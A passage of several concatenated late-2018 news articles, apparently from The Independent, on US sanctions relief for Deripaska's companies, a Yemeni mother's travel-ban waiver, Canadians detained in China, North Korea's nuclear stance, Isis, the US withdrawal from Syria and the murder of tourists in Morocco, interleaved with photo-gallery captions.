United States. The companies are among the biggest in the aluminium industry, and questions about their fate had roiled global metals markets. And Mr Deripaskas stature in Russia made any decision seen to be in his favour tricky for the administration at a time when President Donald Trump is under investigation by the special counsel in connection with Russian interference in the 2016 election. Mr Deripaska and his businesses including the worlds second-largest aluminium company, Rusal were hit with sanctions in April in retaliation for Russian interference in the election and other hostile acts by Moscow. The companies responded with a sophisticated and expensive lobbying and legal campaign seeking to delay and ultimately remove the sanctions in exchange for promises from Mr Deripaska to give up majority ownership and control of EN+, the holding company that controls Rusal. The lobbying effort had cast the sanctions as having unintended ripple effects on companies in the United States, Ireland, Sweden, Jamaica, Guinea and elsewhere, with potential job losses and other negative economic impacts. Andrea M Gacki, director of the Treasurys Office of Foreign Assets Control, cited those economic effects in a letter notifying congressional leaders of the administrations intent to lift the sanctions against EN+, Rusal and a third Deripaska company, JSC EuroSibEnergo. Ms Gacki said Mr Deripaska himself would remain on the sanctions list. As long as that was the case, she said, Mr Deripaska would be unable to gain access to the proceeds from selling off his shares to reduce his stake. Ms Gacki said Mr Deripaska and his companies have agreed to undertake significant restructuring and corporate governance changes to address the circumstances that led to their designation. The changes would include reducing his stake in the companies to below 50 per cent and overhauling their boards, including ensuring half of EN+'s directors will be US or British citizens. Unless Congress tries to block the move by passing a joint resolution of disapproval within 30 days an unlikely outcome given the impending end of the congressional session and the swearing-in of a new Congress next month the sanctions will automatically be lifted. Representative Lloyd Doggett, D-Texas, who has criticised the administration for being soft on Rusal, said the move to lift sanctions amounted to Mr Trump sliding another big gift under Vladimir Putins Christmas tree. Saying the plan appears to be a shell game brokered by a sanctioned Russian bank, VTB Bank, involving one of Putins closest buddies, Oleg Deripaska, Mr Doggett said it only encourages Putin to pursue his destabilising activities around the world. He called for a rigorous congressional review of the deal, and said if it is what it appears a Rusal ruse then we should reject this latest Trump scam. Who could be running against Trump in 2020? Show all 23 1 /23 Who could be running against Trump in 2020? Who could be running against Trump in 2020? Joe Biden The former vice president - poised to be a frontrunner - has announced his run. He recently faced scrutiny for inappropriate touching of women, but was thought to deal with the criticism well AFP/Getty Who could be running against Trump in 2020? Bernie Sanders The 2016 runner-up has announced that he will be running again in 2020 Getty Who could be running against Trump in 2020? Hillary Clinton The 2016 Democratic presidential candidate and former Secretary of State says she is still considering whether she will run again. Getty Who could be running against Trump in 2020? Pete Buttigieg The Indiana mayor and war veteran will be running for president. If elected, he would be the first openly LGBT+ president in American history. Getty Who could be running against Trump in 2020? Kamala Harris The former California attorney general will be running for president in 2020. Introduced to the national stage during Jeff Sessions testimony, she has endorsed Medicare-for-all and proposed a major tax-credit for the middle class. AP Who could be running against Trump in 2020? Elizabeth Warren The Massachusetts Senator has formally launched her bid for president in 2020. A progressive Democrat, she is a major supporter of regulating Wall Street. AP Who could be running against Trump in 2020? Beto ORourke The former Texas congressman told Oprah Winfrey that he has been thinking about running for presidency, but stopped short of formally announcing his bid to run in 2020. AFP/Getty Who could be running against Trump in 2020? Wayne Messam Mayor of the city of Miramar in the Miami metropolitan area, Wayne Messam has announced his bid. He intends to run on a progressive platform against the "broken" federal government. He favours gun regulations and was a signatory to a letter from some 400 mayors condemning President Trump's withdrawal from the Paris Climate Accord. Vice News Who could be running against Trump in 2020? Kirsten Gillibrand The New York Senator formally announced her presidential bid in January, saying that healthcare should be a right, not a privilege. Getty Who could be running against Trump in 2020? Cory Booker The New Jersey Senator has announced that he will be running for the presidency in 2020. If he secures the nomination he said finding a female vice president would be a priority. Getty Who could be running against Trump in 2020? John Delaney The Maryland congressman was the first to launch his bid for presidency, making the announcement in 2017. AP Who could be running against Trump in 2020? Julian Castro The former San Antonio mayor announced his candidacy in January and said that his running has a special meaning for the Latino community in the US. Getty Who could be running against Trump in 2020? Tulsi Gabbard The Hawaii congresswoman announced her candidacy in January, but is likely to face tough questions on her past comments on LGBT+ rights and her stance on Syrian President Bashar al-Assad. Getty Who could be running against Trump in 2020? Andrew Yang The entrepreneur has announced his presidential candidacy, and has pledged that he would introduce a universal basic income of $1,000 a month to every American over the age of 18. AFP/Getty Who could be running against Trump in 2020? Marianne Williamson The author and spiritual advisor has announced her intention to run for president. She had previously run for congress as an independent in 2014 but was unsuccessful. Getty Who could be running against Trump in 2020? John Kerry The former secretary of state has said he is still thinking about whether to run. Getty Who could be running against Trump in 2020? Michael Bloomberg The entrepreneur and former New York mayor with a net worth of around $50bn has said he will decide by the end of February whether to seek the presidency. AFP Who could be running against Trump in 2020? Howard Schultz Former Starbucks CEO Howard Schultz has not yet ruled out running for president in 2020, despite criticism that his bid could help re-elect Mr Trump by dividing the Democrat vote. AP Who could be running against Trump in 2020? Eric Holder The former attorney general has said he will decide in the next month or so whether to run as a 2020 presidential candidate. AP Who could be running against Trump in 2020? Eric Swalwell The California congressman said he is ready to do this and will decide before April whether to run. MSNBC Who could be running against Trump in 2020? Terry McAuliffe The former Virginia governor, who worked to elect Democratic governors during 2018 midterms, said there was a 50 per cent chance he would run. AP Who could be running against Trump in 2020? Sherrod Brown The Ohio senator is still undecided about whether to run for president in 2020. Who could be running against Trump in 2020? Mitch Landrieu The former New Orleans mayor said he doesnt think he will run for president, but never say never. AP Photo/Jacquelyn Martin The administration appeared to take pains to head off criticism that it was letting up on Moscow or Mr Deripaska. The decision was disclosed on the same day that the Treasury Department announced new sanctions against a former Russian military intelligence officer who it said works for Mr Deripaska, as well as several Russian intelligence officers and entities linked to Russian meddling in the 2016 presidential election. Regardless of the concessions from Mr Deripaska and the new sanctions, David Merkel, who worked on Russia-related issues in President George W Bushs White House and State Department, said lifting sanctions against Mr Deripaskas companies sends the wrong signal. Noting that the moves came less than a month after Russia seized three small Ukrainian naval vessels and 23 sailors in a shared waterway, Mr Merkel said the timing is unfortunate, because this will be seen as walking back sanctions on someone who is close to Putin. In a statement justifying the move, Steven Mnuchin, the Treasury secretary, said the companies had been punished because of Mr Deripaskas ownership and control, not for the conduct of the companies themselves. The Treasury Department said it had reached a binding agreement with Mr Deripaskas companies after eight months of detailed negotiations with lawyers and other representatives from the companies. The team was led by Gregory Barker, a British lord who was appointed last year as chairman of EN+. He retained lobbyists with ties to the Trump administration as well as law firms and public relations experts to make the case that Mr Deripaska was truly committed to giving up control of his companies, and was not merely staging a sham divestiture, as some critics suspected. Under the deal, which is subject to continued monitoring, Mr Deripaska will reduce his stake in EN+ to less than 45 per cent from approximately 70 per cent. Any proceeds from stock sales or future dividends from his remaining stock will be placed into a blocked account, to which Mr Deripaska will not have access, according to Ms Gackis letter. Ms Gacki suggested Mr Deripaskas stake in EN+ would be further reduced through a donation of some shares to an unspecified charitable foundation and by allowing some shares to be controlled by VTB Bank, which is controlled by the Kremlin and subject to US sanctions raising red flags for sceptics. Im uncomfortable that this leaves open the possibility of ownership being moved to Russia at some point, Mr Merkel said. Peter Harrell, who worked on sanctions issues in the State Department during the Obama administration, said the agreement looked like a classic compromise. Mr Harrell said Mr Deripaska was playing the long game and may ultimately recoup some of his short-term losses. The New York Times A Yemeni mother who fought to go to the United States to see her dying son has arrived in California after Donald Trumps administration eventually waived its travel ban for her. Shaima Swileh arrived at San Francisco International Airport on Wednesday night, where she was surrounded by well-wishers. This is a difficult time for our family but we are blessed to be together, the boys father, Ali Hassan, said at the airport. I ask you to respect our privacy as we go to be with our son again. Ms Swileh and Mr Hassan were then driven to see their 2-year-old son, Abdullah, at UCSF Benioff Childrens Hospital in Oakland. Citizens from Yemen and four other majority Muslim countries, along with North Korea and Venezuela, are restricted from coming to the United States under the travel ban enacted under President Trump. Who could be running against Trump in 2020? Show all 23 1 /23 Who could be running against Trump in 2020? Who could be running against Trump in 2020? Joe Biden The former vice president - poised to be a frontrunner - has announced his run. He recently faced scrutiny for inappropriate touching of women, but was thought to deal with the criticism well AFP/Getty Who could be running against Trump in 2020? Bernie Sanders The 2016 runner-up has announced that he will be running again in 2020 Getty Who could be running against Trump in 2020? Hillary Clinton The 2016 Democratic presidential candidate and former Secretary of State says she is still considering whether she will run again. Getty Who could be running against Trump in 2020? Pete Buttigieg The Indiana mayor and war veteran will be running for president. If elected, he would be the first openly LGBT+ president in American history. Getty Who could be running against Trump in 2020? Kamala Harris The former California attorney general will be running for president in 2020. Introduced to the national stage during Jeff Sessions testimony, she has endorsed Medicare-for-all and proposed a major tax-credit for the middle class. AP Who could be running against Trump in 2020? Elizabeth Warren The Massachusetts Senator has formally launched her bid for president in 2020. A progressive Democrat, she is a major supporter of regulating Wall Street. AP Who could be running against Trump in 2020? Beto ORourke The former Texas congressman told Oprah Winfrey that he has been thinking about running for presidency, but stopped short of formally announcing his bid to run in 2020. AFP/Getty Who could be running against Trump in 2020? Wayne Messam Mayor of the city of Miramar in the Miami metropolitan area, Wayne Messam has announced his bid. He intends to run on a progressive platform against the "broken" federal government. He favours gun regulations and was a signatory to a letter from some 400 mayors condemning President Trump's withdrawal from the Paris Climate Accord. Vice News Who could be running against Trump in 2020? Kirsten Gillibrand The New York Senator formally announced her presidential bid in January, saying that healthcare should be a right, not a privilege. Getty Who could be running against Trump in 2020? Cory Booker The New Jersey Senator has announced that he will be running for the presidency in 2020. If he secures the nomination he said finding a female vice president would be a priority. Getty Who could be running against Trump in 2020? John Delaney The Maryland congressman was the first to launch his bid for presidency, making the announcement in 2017. AP Who could be running against Trump in 2020? Julian Castro The former San Antonio mayor announced his candidacy in January and said that his running has a special meaning for the Latino community in the US. Getty Who could be running against Trump in 2020? Tulsi Gabbard The Hawaii congresswoman announced her candidacy in January, but is likely to face tough questions on her past comments on LGBT+ rights and her stance on Syrian President Bashar al-Assad. Getty Who could be running against Trump in 2020? Andrew Yang The entrepreneur has announced his presidential candidacy, and has pledged that he would introduce a universal basic income of $1,000 a month to every American over the age of 18. AFP/Getty Who could be running against Trump in 2020? Marianne Williamson The author and spiritual advisor has announced her intention to run for president. She had previously run for congress as an independent in 2014 but was unsuccessful. Getty Who could be running against Trump in 2020? John Kerry The former secretary of state has said he is still thinking about whether to run. Getty Who could be running against Trump in 2020? Michael Bloomberg The entrepreneur and former New York mayor with a net worth of around $50bn has said he will decide by the end of February whether to seek the presidency. AFP Who could be running against Trump in 2020? Howard Schultz Former Starbucks CEO Howard Schultz has not yet ruled out running for president in 2020, despite criticism that his bid could help re-elect Mr Trump by dividing the Democrat vote. AP Who could be running against Trump in 2020? Eric Holder The former attorney general has said he will decide in the next month or so whether to run as a 2020 presidential candidate. AP Who could be running against Trump in 2020? Eric Swalwell The California congressman said he is ready to do this and will decide before April whether to run. MSNBC Who could be running against Trump in 2020? Terry McAuliffe The former Virginia governor, who worked to elect Democratic governors during 2018 midterms, said there was a 50 per cent chance he would run. AP Who could be running against Trump in 2020? Sherrod Brown The Ohio senator is still undecided about whether to run for president in 2020. Who could be running against Trump in 2020? Mitch Landrieu The former New Orleans mayor said he doesnt think he will run for president, but never say never. AP Photo/Jacquelyn Martin The State Department granted Ms Swileh a waiver on Tuesday, after lawyers with the Council on American-Islamic Relations sued earlier this week, ending her familys yearlong battle. This will allow us to mourn with dignity, the boys father had said in an earlier statement. Mr Hassan, who is a US citizen and resident of Stockton, California, but who had been living in Egypt, brought Abdullah to California in autumn this year to get treatment for a genetic brain disorder. My wife is calling me every day wanting to kiss and hold her son for the one last time, Mr Hassan said, choking up as he made a public plea at a news conference on Monday, a day before the government granted the visa. Abdullah Hassan is on life support at a hospital in California (CAIR ) (CAIR) The couple moved to Egypt after marrying in war-torn Yemen in 2016 and had been trying to get a visa for Ms Swileh since 2017 so the family could move to California. When the boys health worsened, Mr Hassan went ahead to California in October to get their help for their son. As the couple fought for a waiver, doctors put Abdullah on life support. I am emailing them, crying, and telling them that my son is dying, Mr Hassan said in an interview with The Sacramento Bee newspaper. He started losing hope and was considering pulling his son off life support to end his suffering, but a hospital social worker reached out to the Council on American-Islamic Relations, which sued on Monday, according to Basim Elkarra, executive director of the group in Sacramento. Ms Swileh lost months with her child over what amounted to unnecessary delays and red tape, Mr Elkarra said. Fathers pleas for Yemeni mother to receive visa to see dying toddler State Department spokesman Robert Palladino called it a very sad case, and our thoughts go out to this family at this time, at this trying time. He said he could not comment on the familys situation but said in general cases are handled individually, and US officials try to facilitate legitimate travel to the US while protecting national security. These are not easy questions, he said. Weve got a lot of foreign service officers deployed all over the world that are making these decisions on a daily basis, and they are trying very hard to do the right thing at all times. Shaima Swileh (centre with her back turned) is greeted by supporters after arriving at San Francisco International Airport (AP/Jeff Chiu) Immigration attorneys estimate tens of thousands of people have been affected by what they call blanket denials of visa applications under Mr Trumps travel ban, which the US Supreme Court upheld in a 5-4 ruling in June. The waiver provision allows a case-by-case exemption for people who can show entry to the US is in the national interest, is needed to prevent undue hardship and would not pose a security risk. But a lawsuit filed in San Francisco says the administration is not honouring the waiver provision. The 36 plaintiffs include people who have had waiver applications denied or stalled despite chronic medical conditions, prolonged family separations or significant business interests. Support free-thinking journalism and attend Independent events We hope this case makes the administration realise the waiver process is not working, Mr Elkarra said. Thousands of families have been split apart, including families who have loved ones who are ill and are not able to see them in their final hours. Im sure there are more cases like this. In addition to the waiver, the government gave Ms Swileh a visa that will allow her to remain in the US with her husband and begin a path towards US citizenship, Mr Elkarra added. Additional reporting by Associated Press A third Canadian national held in China in recent weeks is undergoing "administrative punishment" for working illegally, Beijing has said, amid an ongoing diplomatic row between the two countries. Chinese state security agents last week detained two Canadians, former diplomat Michael Kovrig and businessman Michael Spavor, saying they were suspected of endangering state security. The detentions of the Canadians followed the 1 December arrest in Vancouver of Meng Wanzhou, chief financial officer of the Chinese telecommunications giant Huawei Technologies Co Ltd. Ms Meng was arrested at the request of the US, which is engaged in a trade war with China. Chinese Foreign Ministry spokesperson Hua Chunying identified the third Canadian as Sarah McIver, who was serving "administrative punishment" due to "illegal employment". She did not elaborate. "What I can tell you is that China and Canada are maintaining clear consular communication," Ms Hua told a daily news briefing. When asked if Ms McIver's case was connected to that of Mr Kovrig and Mr Spavor, Ms Hua pointed out the nature of the cases were different, given the other two were accused of endangering national security. Ms Hua referred further questions on Ms McIver to the Ministry of Public Security. That ministry did not immediately respond to requests for further comment. The Canadian government has not identified the third Canadian, though Canadian media has said the person is Ms McIver and said she was an English teacher being held because of "visa complications". Canadian Prime Minister Justin Trudeau urged caution on Wednesday and said he would not be "stomping on a table" after China detained the third Canadian. Justin Trudeau looking to cancel arms deal with Saudi Arabia Mr Trudeau said he was asking China for more information on the detentions. He said the latest incident was "a very separate case" from the other two. The Canadian government has said several times it saw no explicit link between the arrest of Ms Meng, the daughter of Huawei's founder, and the detentions of Mr Kovrig and Mr Spavor. But Beijing-based Western diplomats and former Canadian diplomats have said they believed the detentions were a "tit-for-tat" reprisal by China. China has demanded Ms Meng's immediate release and summoned the Canadian and US ambassadors to complain about the case. Ms Meng is accused by the US of misleading multinational banks about Iran-linked transactions, putting the banks at risk of violating US sanctions. She was released on bail in Vancouver, where she owns two homes, while waiting to learn if she will be extradited to the US. She is due in court on 6 February. Reuters North Korea has said it will not give up its nuclear weapons until the US first completely eliminates its own arsenal in the region, a bombshell demand that threatens to derail peace talks. In a statement issued by the official KCNA news agency, North Korea set out clearly for the first time what it sees as the definition of complete denuclearisation of the Korean peninsula, the vague goal agreed to by Donald Trump and Kim Jong-un at a summit in Singapore in June. The US withdrew its tactical nuclear weapons from South Korea in the 1990s, but maintains an umbrella of weapons capable of defending South Korea and Japan. Washington has already ruled out reducing this military presence as part of any deal. It suggested after Singapore that Mr Trump and Mr Kim had agreed that North Korea could give up its nuclear weapons in exchange for security assurances from the US. But on Thursday North Korea accused the US of misleading the world over the outcomes of the June talks. It claims Pyongyang has always stuck to its old stance that it needs nuclear weapons unless and until it no longer faces any American military threat. The United States must now recognise the accurate meaning of the denuclearisation of the Korean Peninsula, and especially, must study geography, the statement said. When we talk about the Korean Peninsula, it includes the territory of our republic and also the entire region of (South Korea) where the United States has placed its invasive force, including nuclear weapons. When we talk about the complete denuclearisation of the Korean Peninsula, it means the removal of all sources of nuclear threat, not only from the South and North but also from areas neighbouring the Korean Peninsula, the statement said. Statista (Statista) Analysts said the statement could be an attempt by North Korea to show it will not re-engage in stalled peace talks until a concession is offered by the other side. The blunt statement could be an indicator that the North has no intentions to return to the negotiation table anytime soon, Shin Beomchul, a senior analyst at Seouls Asan Institute for Policy Studies, told the Associated Press. Its clear that the North intends to keep its nukes and turn the diplomatic process into a bilateral arms reduction negotiation with the United States, rather than a process where it unilaterally surrenders its programme. North Korea military parade celebrating nation's 70th anniversary Show all 18 1 /18 North Korea military parade celebrating nation's 70th anniversary North Korea military parade celebrating nation's 70th anniversary Participants wave flowers AFP/Getty North Korea military parade celebrating nation's 70th anniversary North Korea's leader Kim Jong Un (R) waves with China's Chairman of the Standing Committee of the National People's Congress Li Zhanshu (L) from a balcony AFP/Getty North Korea military parade celebrating nation's 70th anniversary Airplanes forming the number 70 fly in formation and fire flares AP North Korea military parade celebrating nation's 70th anniversary North Korean performers dance EPA North Korea military parade celebrating nation's 70th anniversary North Korean military officers applaud near portraits of late North Korean leaders Kim Il Sung and Kim Jong Il AP North Korea military parade celebrating nation's 70th anniversary North Korean tanks roll past AP North Korea military parade celebrating nation's 70th anniversary AP North Korea military parade celebrating nation's 70th anniversary Korean People's Army (KPA) soldiers take part AFP/Getty North Korea military parade celebrating nation's 70th anniversary Korean People's Army (KPA) soldiers march AFP/Getty North Korea military parade celebrating nation's 70th anniversary Participants march during a mass rally on Kim Il Sung square in Pyongyang AFP/Getty North Korea military parade celebrating nation's 70th anniversary A girl reacts during a parade AP North Korea military parade celebrating nation's 70th anniversary North Korean leader Kim Jong Un, right, reacts as he chats with China's third highest ranking official, Li Zhanshu AP North Korea military parade celebrating nation's 70th anniversary People carry flags in front of statues of North Korea founder Kim Il Sung (L) and late leader Kim Jong Il Reuters North Korea military parade celebrating nation's 70th anniversary Performers take part in a concert at the Pyongyang Indoor Stadium AFP/Getty North Korea military parade celebrating nation's 70th anniversary North Korean artillery roll past AP North Korea military parade celebrating nation's 70th anniversary Students perform Reuters North Korea military parade celebrating nation's 70th anniversary Soldiers march during a military parade Reuters North Korea military parade celebrating nation's 70th anniversary Participants wave flowers AFP/Getty Though some steps have been taken this year to improve relations between neighbours North and South Korea, there has been little progress on wider peace talks incorporating the US since Mr Trump and Mr Kim met. The US president has talked about setting up a second summit with Mr Kim as soon as early next year, but will want to secure more concrete achievements in the meantime to avoid simply repeating the platitudes issued in Singapore. The impasse has come as the US demands to first see clear evidence that Pyongyang is working towards giving up its nuclear weapons, while North Korea wants sanctions to be lifted beforehand. Support free-thinking journalism and attend Independent events At a press briefing in Washington earlier this week, a US State Department spokesperson said he would not split words when asked about the key distinction of whether the promise of denuclearisation of the Korean peninsula means only North Korea or the broader region. We are focused on the denuclearisation of North Korea, Robert Palladino said. We remain confident and we look forward to the commitments that Chairman Kim and that President Trump have made. Isis has quietly executed hundreds of prisoners in Syria over the last two months, as it makes a desperate last stand to hold on to its remaining territory. The extremist group has been cornered in a small pocket of territory on the eastern banks of the Euphrates river in eastern Syria, and US-backed forces recently sent the group fleeing from the last major town under its control. But with nowhere left to run, the group has begun massacring prisoners it has been holding, and has killed some 700 in the past two months, according to the Syrian Observatory for Human Rights. Despite having a history of using executions to gain notoriety and attention, the Observatory said these latest killings were carried out in secret and away from the cameras, and the bodies buried in mass graves. The UK-based monitoring group said the prisoners were among 1,350 civilians and fighters that Isis had been holding, and that a number of Isis members who had tried to escape were among those killed. Recommended Shrinking territory of Isis forces leaders into the crosshairs It added that the group is still thought to be holding hundreds of prisoners, citing sources within Isis and residents who had left the area it still controls. Isis has been putting up fierce resistance in its last redoubt a string of villages in Deir Ezzor near the town of Hajin. After three months of intense fighting, the Kurdish-led Syrian Democratic Forces (SDF) announced last week that it had taken most of the town. The capture of Hajin would represent a milestone for the SDF, which for the last four years has been the wests main ally in the fight against Isis in Syria. With the backing of the US and UK, it has forced Isis from swathes of the countrys north and east to this small pocket. 'They're all coming back and they're coming back now' Trump declares victory over Isis in Syria But the alliance was dealt a heavy blow on Wednesday by the decision of US president Donald Trump to withdraw all US forces from the country. Top US officials, and the SDF, have warned that Isis will pose a threat even after it loses the last of its territory. The White House decision to withdraw from the north and east Syria would negatively impact the campaign to fight terrorism and it would give terrorism and its supporters, military field and political clout to revive itself again, the SDF said in a statement on Thursday. The group added that the fight against Isis has not ended and the group has not been defeated, and that the fight against the group was at a critical stage that required more support from the US-led coalition. Americas Kurdish allies in the fight against Isis have condemned Donald Trumps decision to withdraw US forces from Syria, saying it will destabilise the region. Over the past four years, and with the backing of the US, the Kurdish-led Syrian Democratic Forces (SDF) have captured swathes of territory in the countrys north and east from the extremist group. But on Wednesday, Mr Trump ordered a full withdrawal of American forces from Syria, a dramatic turnaround in US policy that caught its allies by surprise. The White House decision to withdraw from the north and east of Syria would negatively impact the campaign to fight terrorism, and it would give terrorism and its supporters military field and political clout to revive itself again, the SDF said in a statement on Thursday. The group added that the fight against Isis has not ended and the group has not been defeated, and that the fight against the group was at a critical stage that required more support from the US-led coalition. Recommended Turkey threatens attack as Kurdish fighters close in on last Isis town The US has more than 2,000 troops in Syria to support local Kurdish forces in the battle against Isis. The town of Hajin, on the banks of the Euphrates river in eastern Syria, is Isiss last major stronghold in Syria. After three months of intense fighting, the SDF announced on Friday that it had taken most of the town. Beyond Hajin lies a string of smaller villages still held by Isis, where an estimated 5,000 fighters remain. But even as that fight continues, Mr Trump was said to be eager to declare victory. Theyre all coming back and theyre coming back now. We won, Mr Trump declared on Wednesday in a video posted on Twitter. He had earlier declared: We have defeated Isis in Syria, my only reason for being there during the Trump presidency. The order to withdraw also signifies an end to the US air campaign against Isis, according to US officials. This had not necessarily been the case, given that unlike ground troops air assets like fighter jets are not based in Syria but fly in from nearby nations. The US-led air assault has been a major part of the plan to push back Isis in both Syria and Iraq with more than 100,000 bombs and missiles having been used on targets in the two nations since 2015. Early on Thursday Mr Trump said that his decision to pull out troops should be no surprise in a number of tweets. He said: Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? That statements from Mr Trump appear to stand in stark contrast to almost every top US defence official over the past year, who have gone to great lengths to stress that Isis will not be defeated when it loses the last of its territory, but will instead revert back into a deadly insurgent group with the ability to carry out attacks in Iraq and Syria, and further afield. Last month, James Jeffrey, the US special representative for Syria, said that the enduring defeat means not simply smashing the last of Isiss conventional military units holding terrain, but ensuring that Isis doesnt immediately come back in sleeper cells, come back as an insurgent movement. Tobias Ellwood, a UK defence minister said he strongly disagreed with Mr Trumps statement, adding: It [Isis] has morphed into other forms of extremism and the threat is very much alive. One official told Reuters that the pullout could take up to 100 days, and the White House indicated that is had already begun. Perhaps of even greater concern than the fight against Isis for the SDF is the threat of a Turkish attack. Support free-thinking journalism and attend Independent events The alliance the US and SDF has angered Turkey, a Nato ally, which views the Kurdish forces that fight in the SDF as terrorists. Turkeys President Recep Tayyip Erdogan vowed last week to launch a military operation into Syria against the group. The presence of US forces alongside the Kurdish fighters was seen as a bulwark against an attack. Kurdish fighters have already begun preparations for a Turkish attack by digging trenches close to the border. Speaking on Thursday, Turkeys defence minister reiterated Ankaras threat. Right now it is being said that some ditches, tunnels were dug in Manbij and to the east of the Euphrates. They can dig tunnels or ditches if they want, they can go underground if they want, when the time and place comes they will buried in the ditches they dug. No one should doubt this, he said, according to the Turkish state-owned Anadolu news agency. Four suspects in the killing of a pair of Scandinavian tourists in Morocco earlier this week swore fealty to Isis while standing beneath a makeshift flag of the jihadi group in a video that surfaced online on Thursday, showing the potency and geographical breadth of a network that US President Donald Trump said was defeated a day earlier. Hours before, Denmark called the gruesome murder of two female tourists in a rural, mountainous part of Morocco a politically motivated act of terror, a day after authorities tied a suspect in the killing to a militant group. The bodies of the two women, Louisa Vesterager Jespersen, 24, of Denmark, and Maren Ueland, 28, of Norway, were discovered Monday in the Atlas Mountain range near the tourist hotspot of Marrakech, Moroccos official news agency said. Moroccan authorities on Tuesday arrested at least one person in connection with the murder and later detained three others. The killing can be considered politically motivated and thus an act of terror, Danish prime minister Lars Lokke Rasmussen told reporters on Thursday. What should have been a holiday trip turned into a nightmare, he said. Two women were killed in a bestial manner. We respond with dismay, disgust and deep sorrow. The killers allegedly recorded their ambush. They stabbed each woman and decapitated one with what appears to be a kitchen knife. This is for Syria, a man is heard saying in the video, suggesting sympathy for Isis. It remains unclear whether the suspects were battle-hardened veterans of Isis in Syria, Iraq or Libya, or were inspired by the group and radicalised themselves via the internet. People here are quite shocked, Issandr el Amrani, Rabat-based North Africa director of the International Crisis Group, told The Independent. Its unprecedented in Morocco and, especially if linked to a transnational jihadist group, a worrying development considering Morocco unlike Algeria or Tunisia did not have armed groups hiding in the mountains, or anything similar. A Moroccan prosecutor said at least one suspect under arrest had ties to militant groups, without identifying any organisation or network, according to the official MAP news agency. Maren Ueland (Facebook) Al-Qaeda in the Islamic Maghreb operates in much of North Africa, and Moroccan Isis recruits returning from Syria and Iraq are a major security concern. Verdens Gang, a Norwegian tabloid newspaper, cited unnamed sources in the Moroccan prosecutors office as saying all four suspects had sworn allegiance to Isis. A statement by Danish security forces cited by The Associated Press also described suspected Isis links, though there has not yet been a claim of responsibility. The remains of the two women were found by French tourists in a tent at a campsite near Mount Toubkal, the highest peak in the Atlas Mountains that is popular with climbers. The victims, both passionate about the outdoors, were reportedly on a month-long hiking trip. Louisa Vesterager Jespersen (Facebook) Im going to Morocco in December, Ms Jespersen wrote on her Facebook page 21 November. Any of you guys whos around by then, or any mountain friends who knows something about Mount Toubkal? Norwegian criminal investigators have joined Moroccan counterparts in sorting through surveillance camera footage from local businesses and interviewing potential witnesses, local media reported. Photographs of three of the four suspects have been issued. Despite producing a large contingent of Isis recruits, terrorist attacks are relatively rare in Morocco, a struggling kingdom of 36 million people dependent on remittances from immigrants in Western Europe, tourism, phosphate exports and European investment. Unlike Casablanca and its surrounding shantytowns, the Marrakesh area has had little militant activity since a 2011 bombing attack on a popular cafe killed 17 people. The city recently hosted a number of high-profile conferences that drew the likes of former US secretary of state Madeleine Albright and hosted this months UN global summit on migration. It is tragic for the region and for its tourist activity, one man told the Moroccan news website Le360. Tourists from all over the world enjoy the views of the Atlas Mountains, as well as the world-famous Mount Toubkal. American armoured vehicles with their Stars and Stripes flying were patrolling today close to the Turkish-Kurdish frontline west of the Euphrates River in northern Syria. But how long will they go on doing so in the wake of the decision by President Trump to pull 2,000 US troops from Syria, claiming there is no reason for them to be there after the defeat of Isis? And when they do go, will this open the gates to a new and possibly very bloody phase in the seven-year-long Syrian war? Turkey says it will invade and destroy the quasi-independent Kurdish enclave, which the Kurds call Rojava, once it is no longer under American protection. They say the Kurdish militants who rule the enclave will be buried in their ditches when the time comes. The main Kurdish population centres are in cities and towns on the Turkish border which are within artillery range of the Turkish regiments massing on the other side of the frontier. If there is a Turkish invasion of this vast chunk of Syria, it will provoke a mass flight of the 2 million Kurds in the area who live in terror of a Turkish incursion. When Turkey invaded the Kurdish region of Afrin at the start of the year, half the population fled and has yet to return. The Kurds in Syria provided the foot soldiers for the US war against Isis whose Islamic state once stretched in 2014 from the outskirts of Baghdad to the Mediterranean. The Kurdish-US de facto alliance began during the Isis siege of the Kurdish city of Kobani at the end of that year when US airstrikes enabled Kurdish fighters to defeat a ferocious Isis assault. The US had found what it had long been looking for in Syria a reliable hardfighting military force on the ground which could call in American airstrikes as it advanced and occupied Isis strongholds. No wonder the Kurds now feel utterly betrayed by the US. Their fighters belong to the Peoples Protection Units (YPG) which provide the main fighting units of the Syrian Democratic Forces (SDF) that also contains units drawn from local Arab tribes. Mr Trumps tweet announcing his decision to withdraw came after the SDF captured Hajin, which was the last town in Syria held by Isis. The Kurds in Rojava might now look for a deal with President Bashar al-Assad in Damascus, in the hope of getting the Syrian army between them and the Turkish forces. The US departure will make it easier for the Kurds to look for protection from Mr Assad. But how much is that protection worth since the Syrian army is not strong enough to stop the Turks even if it wanted to? Would Russia, the crucial supporter of Mr Assad, go along with such a move? It would be politically difficult for the Kurds to pivot away from cooperating with the US to working with Mr Assad, who the US is supposedly trying to overthrow. As for Russia, Kurdish leaders say President Putin will always give priority to maintaining his good relations with Turkey regardless of what happens to the Kurds. The Syrian Kurdish leadership will be hoping that the US will not totally abandon them. They know that much of the US political, military and media establishment, along with allies like the UK and France, want the US to stay in Syria. They know that Mr Trumps policies have been diluted or reversed before when facing such wideranging opposition. Turkey has been making menacing threats to invade Syria in recent weeks, and Turkish television has shown reinforcements being rushed to the border. Mr Trumps decision may have appeared to come out of the blue, but it is more likely to have been taken because of this Turkish escalation. Mr Trump does not want to teeter on the edge of a war with Turkey into which he might be dragged if US soldiers were killed by Turkish troops advancing into Syria. He will be able to revive the US alliance with Turkey as a major Nato power once US soldiers are no longer fighting alongside the YPG, who Turkey denounce as terrorists on the grounds they are a branch of the Kurdistan Workers Party, which has been fighting a guerrilla war in Turkey since 1984. So long as Turkey, Russia and Iran are working in coordination, it will be difficult for Mr Trump to pursue his principle policy in the Middle East, which is to isolate and confront Iran. Abandoning the Kurds may seem to the White House to be a reasonable price to pay in order to improve relations with President Recep Tayyip Erdogan. There is another cost for President Trump, as he pulls US troops out of Syria saying Isis is defeated and Isis was the only reason for US soldiers being there. But to what extent is this really true? It is correct that Isis, which four years ago controlled a vast territory in Syria and Iraq, no longer does so. It lost Mosul in Iraq and Raqqa in Syria after long and bloody sieges in 2017. Its fighters have suffered devastating casualties. Isis no longer rules a state with a powerful army controlling, at its height, some 6 or 7 million people. However, Isis still has potential as a guerrilla force led by skilful commanders, and this potential will be far greater if it is no longer fighting the SDF, backed by US airpower. And even if US airstrikes still happen, experience shows that to be truly effective it needs ground troops able to identify targets and occupy territory but, according to US officials, the order to withdraw also signifies an end to the US air campaign against Isis. Isis has always wished that its great array of enemies, 